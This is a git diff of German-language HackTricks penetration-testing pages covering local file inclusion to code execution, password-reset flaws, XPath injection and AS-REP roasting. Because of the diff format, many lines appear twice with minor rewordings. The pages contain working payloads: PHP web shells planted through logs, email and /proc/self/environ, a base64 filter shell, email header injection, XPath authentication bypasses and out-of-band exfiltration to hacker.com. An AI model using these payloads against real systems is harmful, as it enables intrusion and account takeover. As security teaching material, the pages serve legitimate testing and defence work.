Zusammenfassend verwendet die Technik die **"UCS-4LE" Kodierung**, um den Inhalt einer Datei so **groß** zu machen, dass die **PHP-Funktion**, die die Datei öffnet, einen **Fehler** auslöst.
Dann wird der Filter **`dechunk`** verwendet, um das erste Zeichen zu leaken, zusammen mit anderen wie **base64** oder **rot13**, und schließlich werden die Filter **convert.iconv.UCS-4.UCS-4LE** und **convert.iconv.UTF16.UTF-16BE** verwendet, um **andere Zeichen am Anfang zu platzieren und sie zu leaken**.
Dann wird, um das erste Zeichen zu leaken, der Filter **`dechunk`** zusammen mit anderen wie **base64** oder **rot13** verwendet, und schließlich werden die Filter **convert.iconv.UCS-4.UCS-4LE** und **convert.iconv.UTF16.UTF-16BE** verwendet, um **andere Zeichen am Anfang zu platzieren und sie zu leaken**.
**Funktionen, die anfällig sein könnten**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (nur Ziel nur lesend mit diesem)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
@ -482,9 +482,9 @@ Wie zuvor erklärt, [**folgen Sie diesem Link**](./#remote-file-inclusion).
Wenn der Apache- oder Nginx-Server **anfällig für LFI** ist, könnten Sie versuchen, auf **`/var/log/apache2/access.log` oder `/var/log/nginx/access.log`** zuzugreifen, indem Sie im **User-Agent** oder in einem **GET-Parameter** eine PHP-Shell wie **`<?php system($_GET['c']); ?>`** setzen und diese Datei einfügen.
{% hint style="warning" %}
Beachten Sie, dass **wenn Sie doppelte Anführungszeichen** für die Shell anstelle von **einfachen Anführungszeichen** verwenden, die doppelten Anführungszeichen für den String "_**quote;**_" geändert werden, **PHP wird dort einen Fehler auslösen** und **nichts anderes wird ausgeführt**.
Beachten Sie, dass **wenn Sie doppelte Anführungszeichen** für die Shell anstelle von **einfachen Anführungszeichen** verwenden, die doppelten Anführungszeichen für den String "_**quote;**_" modifiziert werden, **PHP einen Fehler auslösen wird** und **nichts anderes ausgeführt wird**.
Stellen Sie außerdem sicher, dass Sie **die Payload korrekt schreiben**, da PHP jedes Mal einen Fehler ausgibt, wenn es versucht, die Protokolldatei zu laden, und Sie keine zweite Gelegenheit haben werden.
Stellen Sie außerdem sicher, dass Sie die **Payload korrekt schreiben**, da PHP jedes Mal einen Fehler ausgibt, wenn es versucht, die Protokolldatei zu laden, und Sie keine zweite Gelegenheit haben werden.
{% endhint %}
Dies könnte auch in anderen Protokollen durchgeführt werden, aber **seien Sie vorsichtig**, der Code in den Protokollen könnte URL-kodiert sein und dies könnte die Shell zerstören. Der Header **authorisation "basic"** enthält "user:password" in Base64 und wird in den Protokollen dekodiert. Die PHPShell könnte in diesen Header eingefügt werden.\
@ -504,16 +504,16 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
### Via Email
**Sende eine E-Mail** an ein internes Konto (user@localhost), die dein PHP-Payload wie `<?php echo system($_REQUEST["cmd"]); ?>` enthält, und versuche, die E-Mail des Benutzers mit einem Pfad wie **`/var/mail/<USERNAME>`** oder **`/var/spool/mail/<USERNAME>`** einzuschließen.
**Senden Sie eine E-Mail** an ein internes Konto (user@localhost), die Ihre PHP-Nutzlast wie `<?php echo system($_REQUEST["cmd"]); ?>` enthält, und versuchen Sie, die E-Mail des Benutzers mit einem Pfad wie **`/var/mail/<USERNAME>`** oder **`/var/spool/mail/<USERNAME>`** einzuschließen.
### Via /proc/\*/fd/\*
1. Lade viele Shells hoch (zum Beispiel: 100)
2. Schließe [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) ein, wobei $PID = PID des Prozesses (kann brute-forced werden) und $FD der Dateideskriptor (kann ebenfalls brute-forced werden).
1. Laden Sie viele Shells hoch (zum Beispiel: 100)
2. Schließen Sie [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) ein, wobei $PID = PID des Prozesses (kann brute-forced werden) und $FD der Dateideskriptor (kann ebenfalls brute-forced werden)
### Via /proc/self/environ
Wie eine Protokolldatei, sende das Payload im User-Agent, es wird in der Datei /proc/self/environ reflektiert.
Wie eine Protokolldatei, senden Sie die Nutzlast im User-Agent, sie wird in der Datei /proc/self/environ reflektiert.
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
@ -565,7 +565,7 @@ Die Protokolle für den FTP-Server vsftpd befinden sich unter _**/var/log/vsftpd
### Via php base64 filter (using base64)
Wie in [diesem](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) Artikel gezeigt, ignoriert der PHP base64-Filter einfach Non-base64. Sie können dies verwenden, um die Überprüfung der Dateierweiterung zu umgehen: Wenn Sie base64 angeben, das mit ".php" endet, wird das "." einfach ignoriert und "php" an das base64 angehängt. Hier ist ein Beispiel für eine Nutzlast:
Wie in [diesem](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) Artikel gezeigt, ignoriert der PHP base64-Filter einfach Non-base64. Sie können dies verwenden, um die Überprüfung der Dateierweiterung zu umgehen: Wenn Sie base64 bereitstellen, das mit ".php" endet, wird das "." einfach ignoriert und "php" an das base64 angehängt. Hier ist ein Beispiel für eine Nutzlast:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
@ -573,7 +573,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Via php-Filter (keine Datei erforderlich)
Dieser [**Bericht**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) erklärt, dass Sie **php-Filter verwenden können, um beliebige Inhalte** als Ausgabe zu generieren. Das bedeutet im Grunde, dass Sie **beliebigen PHP-Code** für die Einbindung **generieren können, ohne ihn** in eine Datei schreiben zu müssen.
Dieser [**Bericht**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) erklärt, dass Sie **php-Filter verwenden können, um beliebige Inhalte** als Ausgabe zu generieren. Das bedeutet im Grunde, dass Sie **beliebigen PHP-Code** für die Include **generieren können, ohne ihn** in eine Datei schreiben zu müssen.
{% content-ref url="lfi2rce-via-php-filters.md" %}
[lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md)
@ -581,7 +581,7 @@ Dieser [**Bericht**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e27
### Via Segmentierungsfehler
**Laden Sie** eine Datei hoch, die als **vorübergehend** in `/tmp` gespeichert wird, und lösen Sie dann in der **gleichen Anfrage** einen **Segmentierungsfehler** aus. Die **vorübergehende Datei wird dann nicht gelöscht** und Sie können nach ihr suchen.
**Laden Sie** eine Datei hoch, die als **temporär** in `/tmp` gespeichert wird, und lösen Sie dann im **gleichen Request** einen **Segmentierungsfehler** aus. Die **temporäre Datei wird dann nicht gelöscht** und Sie können nach ihr suchen.
{% content-ref url="lfi2rce-via-segmentation-fault.md" %}
[lfi2rce-via-segmentation-fault.md](lfi2rce-via-segmentation-fault.md)
@ -597,10 +597,10 @@ Wenn Sie eine **Local File Inclusion** gefunden haben und **Nginx** vor PHP läu
### Via PHP_SESSION_UPLOAD_PROGRESS
Wenn Sie eine **Local File Inclusion** gefunden haben, auch wenn Sie **keine Sitzung haben** und `session.auto_start` auf `Off` steht. Wenn Sie die **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST**-Daten bereitstellen, wird PHP die **Sitzung für Sie aktivieren**. Sie könnten dies missbrauchen, um RCE zu erhalten:
Wenn Sie eine **Local File Inclusion** gefunden haben, auch wenn Sie **keine Sitzung** haben und `session.auto_start` auf `Off` steht. Wenn Sie den **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST**-Daten bereitstellen, wird PHP die **Sitzung für Sie aktivieren**. Sie könnten dies ausnutzen, um RCE zu erhalten:
{% content-ref url="via-php_session_upload_progress.md" %}
[via-php_session_upload_progress.md](via-php_session_upload_progress.md)
[via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md)
{% endcontent-ref %}
### Via temporäre Datei-Uploads in Windows
@ -632,7 +632,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
```
### Via phpinfo() (file\_uploads = on)
Wenn Sie eine **Local File Inclusion** gefunden haben und eine Datei mit **phpinfo()** und file\_uploads = on exponiert ist, können Sie RCE erhalten:
Wenn Sie eine **Local File Inclusion** gefunden haben und eine Datei **phpinfo()** mit file\_uploads = on exponiert, können Sie RCE erhalten:
{% content-ref url="lfi2rce-via-phpinfo.md" %}
[lfi2rce-via-phpinfo.md](lfi2rce-via-phpinfo.md)
@ -648,7 +648,7 @@ Wenn Sie eine **Local File Inclusion** gefunden haben und Sie **den Pfad** der t
### Via eternal waiting + bruteforce
Wenn Sie die LFI missbrauchen können, um **temporäre Dateien hochzuladen** und den Server die PHP-Ausführung **hängen** lassen, könnten Sie dann **Stunden damit verbringen, Dateinamen zu bruteforcen**, um die temporäre Datei zu finden:
Wenn Sie die LFI ausnutzen können, um **temporäre Dateien hochzuladen** und den Server die PHP-Ausführung **hängen** lassen, könnten Sie dann **Dateinamen stundenlang brute-forcen**, um die temporäre Datei zu finden:
{% content-ref url="lfi2rce-via-eternal-waiting.md" %}
[lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md)
@ -670,7 +670,7 @@ _Es sei denn, Sie verursachen einen PHP Fatal Error, werden die hochgeladenen PH
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!

View file

@ -1,6 +1,6 @@
# Passwortzurücksetz-Token-Leck über Referrer
* Der HTTP Referer-Header kann den Passwortzurücksetz-Token leaken, wenn er in der URL enthalten ist. Dies kann passieren, wenn ein Benutzer auf einen Link einer Drittanbieter-Website klickt, nachdem er eine Passwortzurücksetzung angefordert hat.
* Der HTTP-Referer-Header kann den Passwortzurücksetz-Token leaken, wenn er in der URL enthalten ist. Dies kann passieren, wenn ein Benutzer auf einen Link einer Drittanbieter-Website klickt, nachdem er eine Passwortzurücksetzung angefordert hat.
* **Auswirkungen**: Potenzieller Kontoübernahme durch Cross-Site Request Forgery (CSRF)-Angriffe.
* **Ausnutzung**: Um zu überprüfen, ob ein Passwortzurücksetz-Token im Referer-Header geleakt wird, **fordern Sie eine Passwortzurücksetzung** an Ihre E-Mail-Adresse an und **klicken Sie auf den bereitgestellten Zurücksetzlink**. **Ändern Sie Ihr Passwort** nicht sofort. Stattdessen **navigieren Sie zu einer Drittanbieter-Website** (wie Facebook oder Twitter), während Sie **die Anfragen mit Burp Suite abfangen**. Überprüfen Sie die Anfragen, um zu sehen, ob der **Referer-Header den Passwortzurücksetz-Token enthält**, da dies sensible Informationen an Dritte offenlegen könnte.
* **Referenzen**:
@ -8,16 +8,16 @@
* [HackerOne Bericht 272379](https://hackerone.com/reports/272379)
* [Artikel über Passwortzurücksetz-Token-Leck](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
## **Passwortzurücksetzung-Poisoning**
## **Passwortzurücksetzung Vergiftung**
* Angreifer können den Host-Header während der Passwortzurücksetz-Anfragen manipulieren, um den Zurücksetzlink auf eine bösartige Seite zu verweisen.
* **Auswirkungen**: Führt zu potenzieller Kontoübernahme durch das Leaken von Zurücksetzungstoken an Angreifer.
* **Minderungsmaßnahmen**:
* Validieren Sie den Host-Header gegen eine Whitelist erlaubter Domains.
* Validieren Sie den Host-Header gegen eine Whitelist von erlaubten Domains.
* Verwenden Sie sichere, serverseitige Methoden zur Generierung absoluter URLs.
* **Patch**: Verwenden Sie `$_SERVER['SERVER_NAME']`, um Passwortzurücksetz-URLs zu konstruieren, anstatt `$_SERVER['HTTP_HOST']`.
* **Referenzen**:
* [Acunetix Artikel über Passwortzurücksetzung-Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
* [Acunetix Artikel über Passwortzurücksetzung Vergiftung](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
## **Passwortzurücksetzung durch Manipulation des E-Mail-Parameters**
@ -47,7 +47,7 @@ POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
```
* Fügen Sie die E-Mail des Angreifers als zweiten Parameter unter Verwendung von Bcc hinzu
* Fügen Sie die Angreifer-E-Mail als zweiten Parameter unter Verwendung von bcc hinzu
```php
POST /resetPassword
[...]
@ -66,14 +66,14 @@ POST /resetPassword
{"email":["victim@mail.tld","atracker@mail.tld"]}
```
* **Minderungsmaßnahmen**:
* E-Mail-Parameter serverseitig ordnungsgemäß analysieren und validieren.
* E-Mail-Parameter serverseitig korrekt analysieren und validieren.
* Vorbereitete Anweisungen oder parametrisierte Abfragen verwenden, um Injektionsangriffe zu verhindern.
* **Referenzen**:
* [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
* [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
* [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
## **Ändern von E-Mail und Passwort eines beliebigen Benutzers über API-Parameter**
## **Ändern von E-Mail und Passwort eines Benutzers über API-Parameter**
* Angreifer können E-Mail- und Passwortparameter in API-Anfragen ändern, um die Kontodaten zu ändern.
```php
@ -112,7 +112,7 @@ POST /api/changepass
## **Erratbare UUID**
* Wenn UUIDs (Version 1) erratbar oder vorhersehbar sind, können Angreifer sie brute-forcen, um gültige Rücksetz-Token zu generieren. Überprüfen Sie:
* Wenn UUIDs (Version 1) erratbar oder vorhersagbar sind, können Angreifer sie brute-forcen, um gültige Rücksetztokens zu generieren. Überprüfen Sie:
{% content-ref url="uuid-insecurities.md" %}
[uuid-insecurities.md](uuid-insecurities.md)
@ -135,18 +135,18 @@ POST /api/changepass
* Testen, ob abgelaufene Tokens weiterhin für das Zurücksetzen des Passworts verwendet werden können.
* **Minderungsmaßnahmen**:
* Implementieren Sie strenge Token-Ablaufrichtlinien und validieren Sie das Token-Ablaufdatum serverseitig.
* Implementieren Sie strenge Token-Ablaufrichtlinien und validieren Sie die Token-Ablaufzeit serverseitig.
## **Brute Force Passwort-Zurücksetz-Token**
* Versuch, das Rücksetz-Token mit Tools wie Burpsuite und IP-Rotator zu brute-forcen, um IP-basierte Ratenlimits zu umgehen.
* Versuch, das Rücksetztoken mit Tools wie Burpsuite und IP-Rotator zu brute-forcen, um IP-basierte Ratenlimits zu umgehen.
* **Minderungsmaßnahmen**:
* Implementieren Sie robuste Ratenbegrenzungs- und Kontosperrmechanismen.
* Überwachen Sie verdächtige Aktivitäten, die auf Brute-Force-Angriffe hindeuten.
## **Versuchen Sie, Ihr Token zu verwenden**
* Testen, ob das Rücksetz-Token eines Angreifers in Verbindung mit der E-Mail des Opfers verwendet werden kann.
* Testen, ob das Rücksetztoken eines Angreifers in Verbindung mit der E-Mail des Opfers verwendet werden kann.
* **Minderungsmaßnahmen**:
* Stellen Sie sicher, dass Tokens an die Benutzersitzung oder andere benutzerspezifische Attribute gebunden sind.
@ -158,15 +158,15 @@ POST /api/changepass
## **Sitzungsinvalidierung bei Abmeldung/Passwortzurücksetzung**
* Rücksetz-Token sollten eine Ablaufzeit haben, nach der sie ungültig werden.
* Rücksetztokens sollten eine Ablaufzeit haben, nach der sie ungültig werden.
* **Minderungsmaßnahmen**:
* Setzen Sie eine angemessene Ablaufzeit für Rücksetz-Token fest und setzen Sie diese serverseitig strikt durch.
* Setzen Sie eine angemessene Ablaufzeit für Rücksetztokens fest und setzen Sie diese serverseitig strikt durch.
## Referenzen
* [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!

View file

@ -1,8 +1,8 @@
# XPATH-Injection
# XPATH injection
{% hint style="success" %}
Lernen & üben Sie AWS-Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP-Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -10,29 +10,29 @@ Lernen & üben Sie GCP-Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
* **Teilen Sie Hacking-Tricks, indem Sie PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichen.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
**Hacking-Einblicke**\
**Hacking Einblicke**\
Engagieren Sie sich mit Inhalten, die in den Nervenkitzel und die Herausforderungen des Hackens eintauchen
**Echtzeit-Hack-Nachrichten**\
Bleiben Sie auf dem Laufenden über die schnelllebige Hacking-Welt durch Echtzeitnachrichten und Einblicke
Bleiben Sie auf dem Laufenden über die schnelllebige Hacking-Welt durch Echtzeit-Nachrichten und Einblicke
**Neueste Ankündigungen**\
Bleiben Sie informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates
**Treten Sie uns auf** [**Discord**](https://discord.com/invite/N3FrSbmwdy) bei und beginnen Sie noch heute mit der Zusammenarbeit mit Top-Hackern!
**Treten Sie uns auf** [**Discord**](https://discord.com/invite/N3FrSbmwdy) bei und beginnen Sie noch heute mit den besten Hackern zusammenzuarbeiten!
## Grundsyntax
Eine Angriffstechnik, die als XPath-Injection bekannt ist, wird verwendet, um Anwendungen auszunutzen, die XPath (XML Path Language)-Abfragen basierend auf Benutzereingaben bilden, um XML-Dokumente abzufragen oder zu navigieren.
Eine Angriffstechnik, die als XPath-Injection bekannt ist, wird verwendet, um Anwendungen auszunutzen, die XPath (XML Path Language) Abfragen basierend auf Benutzereingaben bilden, um XML-Dokumente abzufragen oder zu navigieren.
### Beschriebene Knoten
@ -51,23 +51,23 @@ Beispiele für Pfadausdrücke und deren Ergebnisse umfassen:
* **bookstore**: Alle Knoten mit dem Namen "bookstore" werden ausgewählt.
* **/bookstore**: Das Wurzelelement bookstore wird ausgewählt. Es wird angemerkt, dass ein absoluter Pfad zu einem Element durch einen Pfad dargestellt wird, der mit einem Schrägstrich (/) beginnt.
* **bookstore/book**: Alle Bucht-Elemente, die Kinder von bookstore sind, werden ausgewählt.
* **//book**: Alle Bucht-Elemente im Dokument werden ausgewählt, unabhängig von ihrem Standort.
* **bookstore//book**: Alle Bucht-Elemente, die Nachkommen des bookstore-Elements sind, werden ausgewählt, egal wo sie sich unter dem bookstore-Element befinden.
* **bookstore/book**: Alle Buch-Elemente, die Kinder von bookstore sind, werden ausgewählt.
* **//book**: Alle Buch-Elemente im Dokument werden ausgewählt, unabhängig von ihrem Standort.
* **bookstore//book**: Alle Buch-Elemente, die Nachkommen des bookstore-Elements sind, werden ausgewählt, egal in welcher Position sie sich unter dem bookstore-Element befinden.
* **//@lang**: Alle Attribute mit dem Namen lang werden ausgewählt.
### Nutzung von Prädikaten
Prädikate werden verwendet, um Auswahlen zu verfeinern:
* **/bookstore/book\[1]**: Das erste Bucht-Element-Kind des bookstore-Elements wird ausgewählt. Ein Workaround für IE-Versionen 5 bis 9, die den ersten Knoten als \[0] indizieren, besteht darin, die SelectionLanguage über JavaScript auf XPath zu setzen.
* **/bookstore/book\[last()]**: Das letzte Bucht-Element-Kind des bookstore-Elements wird ausgewählt.
* **/bookstore/book\[last()-1]**: Das vorletzte Bucht-Element-Kind des bookstore-Elements wird ausgewählt.
* **/bookstore/book\[position()<3]**: Die ersten beiden Bucht-Element-Kinder des bookstore-Elements werden ausgewählt.
* **/bookstore/book\[1]**: Das erste Buch-Element-Kind des bookstore-Elements wird ausgewählt. Ein Workaround für IE-Versionen 5 bis 9, die den ersten Knoten als \[0] indizieren, besteht darin, die SelectionLanguage über JavaScript auf XPath zu setzen.
* **/bookstore/book\[last()]**: Das letzte Buch-Element-Kind des bookstore-Elements wird ausgewählt.
* **/bookstore/book\[last()-1]**: Das vorletzte Buch-Element-Kind des bookstore-Elements wird ausgewählt.
* **/bookstore/book\[position()<3]**: Die ersten beiden Buch-Elemente-Kinder des bookstore-Elements werden ausgewählt.
* **//title\[@lang]**: Alle Titel-Elemente mit einem lang-Attribut werden ausgewählt.
* **//title\[@lang='en']**: Alle Titel-Elemente mit einem "lang"-Attributwert von "en" werden ausgewählt.
* **/bookstore/book\[price>35.00]**: Alle Bucht-Elemente des bookstore mit einem Preis von mehr als 35,00 werden ausgewählt.
* **/bookstore/book\[price>35.00]/title**: Alle Titel-Elemente der Bucht-Elemente des bookstore mit einem Preis von mehr als 35,00 werden ausgewählt.
* **/bookstore/book\[price>35.00]**: Alle Buch-Elemente des bookstore mit einem Preis von mehr als 35.00 werden ausgewählt.
* **/bookstore/book\[price>35.00]/title**: Alle Titel-Elemente der Buch-Elemente des bookstore mit einem Preis von mehr als 35.00 werden ausgewählt.
### Umgang mit unbekannten Knoten
@ -173,7 +173,7 @@ doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
```
### **OR-Bypass bei Benutzer und Passwort (gleicher Wert in beiden)**
### **ODER-Bypass bei Benutzer und Passwort (gleicher Wert in beiden)**
```
' or '1'='1
" or "1"="1
@ -188,9 +188,9 @@ Select the account using the username and use one of the previous values in the
```
Username: ' or 1]%00
```
### **Doppeltes ODER im Benutzernamen oder im Passwort** (ist gültig mit nur 1 verwundbarem Feld)
### **Doppeltes ODER im Benutzernamen oder im Passwort** (ist gültig mit nur 1 anfälligem Feld)
WICHTIG: Beachten Sie, dass das **"und" die erste durchgeführte Operation ist**.
WICHTIG: Beachten Sie, dass die **"und" die erste durchgeführte Operation ist**.
```
Bypass with first match
(This requests are also valid without spaces)
@ -280,7 +280,7 @@ doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to
```
### Automatisches Tool
### Automatisches Werkzeug
* [xcat](https://xcat.readthedocs.io/)
* [xxxpwn](https://github.com/feakk/xxxpwn)
@ -294,7 +294,7 @@ doc-available(concat("http://hacker.com/oob/", RESULTS))
* [https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_(OTG-INPVAL-010)](https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_\(OTG-INPVAL-010\))
* [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Tritt dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
@ -307,7 +307,7 @@ Bleibe auf dem Laufenden über die schnelllebige Hack-Welt durch Echtzeit-Nachri
**Neueste Ankündigungen**\
Bleibe informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates
**Tritt uns bei** [**Discord**](https://discord.com/invite/N3FrSbmwdy) bei und beginne noch heute mit den besten Hackern zusammenzuarbeiten!
**Tritt uns bei** [**Discord**](https://discord.com/invite/N3FrSbmwdy) und beginne noch heute mit den besten Hackern zusammenzuarbeiten!
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -15,7 +15,7 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
@ -99,7 +99,7 @@ bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 add uac
## ASREProast ohne Anmeldeinformationen
Ein Angreifer kann eine Man-in-the-Middle-Position nutzen, um AS-REP-Pakete abzufangen, während sie das Netzwerk durchqueren, ohne sich auf die Deaktivierung der Kerberos-Vorab-Authentifizierung zu verlassen. Es funktioniert daher für alle Benutzer im VLAN.\
Ein Angreifer kann eine Man-in-the-Middle-Position nutzen, um AS-REP-Pakete abzufangen, während sie das Netzwerk durchqueren, ohne sich auf die Deaktivierung der Kerberos-Vorautorisierung zu verlassen. Es funktioniert daher für alle Benutzer im VLAN.\
[ASRepCatcher](https://github.com/Yaxxine7/ASRepCatcher) ermöglicht uns dies. Darüber hinaus zwingt das Tool Client-Workstations, RC4 zu verwenden, indem es die Kerberos-Verhandlung ändert.
```bash
# Actively acting as a proxy between the clients and the DC, forcing RC4 downgrade if supported
@ -117,7 +117,7 @@ ASRepCatcher listen
***
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Tritt dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
@ -128,7 +128,7 @@ Engagiere dich mit Inhalten, die in den Nervenkitzel und die Herausforderungen d
Bleibe auf dem Laufenden mit der schnelllebigen Hack-Welt durch Echtzeit-Nachrichten und Einblicke
**Neueste Ankündigungen**\
Bleibe informiert über die neuesten Bug-Bounties, die gestartet werden, und wichtige Plattform-Updates
Bleibe informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates
**Tritt uns bei** [**Discord**](https://discord.com/invite/N3FrSbmwdy) und beginne noch heute mit den besten Hackern zusammenzuarbeiten!